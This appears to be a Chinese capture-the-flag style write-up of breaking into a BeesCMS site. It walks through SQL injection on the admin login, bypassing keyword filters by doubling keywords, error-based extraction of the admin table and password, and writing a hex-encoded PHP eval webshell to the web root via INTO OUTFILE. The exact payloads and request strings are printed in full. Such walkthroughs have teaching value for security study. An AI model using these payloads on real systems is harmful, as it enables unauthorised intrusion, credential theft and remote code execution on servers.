BeesCMS系统漏洞分析溯源
2022-10-28 15:19:56
160
{{single.collect_count}}

在这里插入图片描述
先使用御剑扫一波,发现后台登录界面admin/login.php:
在这里插入图片描述
在这里插入图片描述
用户名一栏输入单引号,发现存在sql注入,
在这里插入图片描述

当输入admin’ or 1=1#后又返回正常的报错界面
看来闭合符号为单引号
注入开始:

admin' union select 1,2,3,4,5#

union 和select被过滤了
在这里插入图片描述
既然存在报错信息,我们就尝试报错注入,经过尝试and也被过滤了,and用an and d代替,union用un union ion代替,select用selselectect代替:

报错注入

admin' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#

爆出数据库名为dees

在这里插入图片描述
爆表名:
发现from、where、=也被过滤了,等号用like代替
在这里插入图片描述
admin’ an and d extractvalue(1,concat(0x7e,(selselectect table_name fro from m information_schema.tables wh where ere table_schema like ‘dees’ limit 0,1),0x7e))#
在这里插入图片描述
爆字段

admin' an and d extractvalue(1,concat(0x7e,(selselectect column_name fro from m information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e))#

admin_name
在这里插入图片描述

修改为limit 2,1

admin_password
在这里插入图片描述

爆值
admin’ an and d extractvalue(1,concat(0x7e,(selselectect admin_name fro from m bees_admin limit 0,1),0x7e))#
在这里插入图片描述
admin’ an and d extractvalue(1,concat(0x7e,(selselectect admin_password fro from m bees_admin limit 0,1),0x7e))#
在这里插入图片描述
想必是经过MD5加密了,解密后为admin。

登陆后台

账户:admin
密码:admin
找到上传图片的地方,打算写一波图片马,但连普通图片都上传不了,看来这个思路不可行

在这里插入图片描述

在这里插入图片描述
提示为:
网站位于/var/www/html目录下,淦!

在这里插入图片描述

user=admin' un union ion selselectect 1,2,3,4,5 i into nto outoutfilefile '/var/www/html/shell.php&password=1&code=abd5&submit=true&submit.x=60&submit.y=23

访问shell.php
在这里插入图片描述
下面直接写入一句话木马:

user=admin' un union ion selselectect 1,<?php @eval($_REQUEST['ABC']);?>,3,4,5 i into nto outoutfilefile '/var/www/html/1.php'&password=12&code=f333&submit=true&submit.x=49&submit.y=30

在这里插入图片描述
<>也被过滤了
将一句话木马进行转换成16进制

user=admin' un union ion selselectect 1,0x3c3f70687020406576616c28245f524551554553545b27414243275d293b3f3e,3,4,5 i into nto outoutfilefile'/var/www/html/123.php'#&password=12&code=f333&submit=true&submit.x=49&submit.y=30

蚁剑测试链接成功后在根目录下找到key
在这里插入图片描述

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}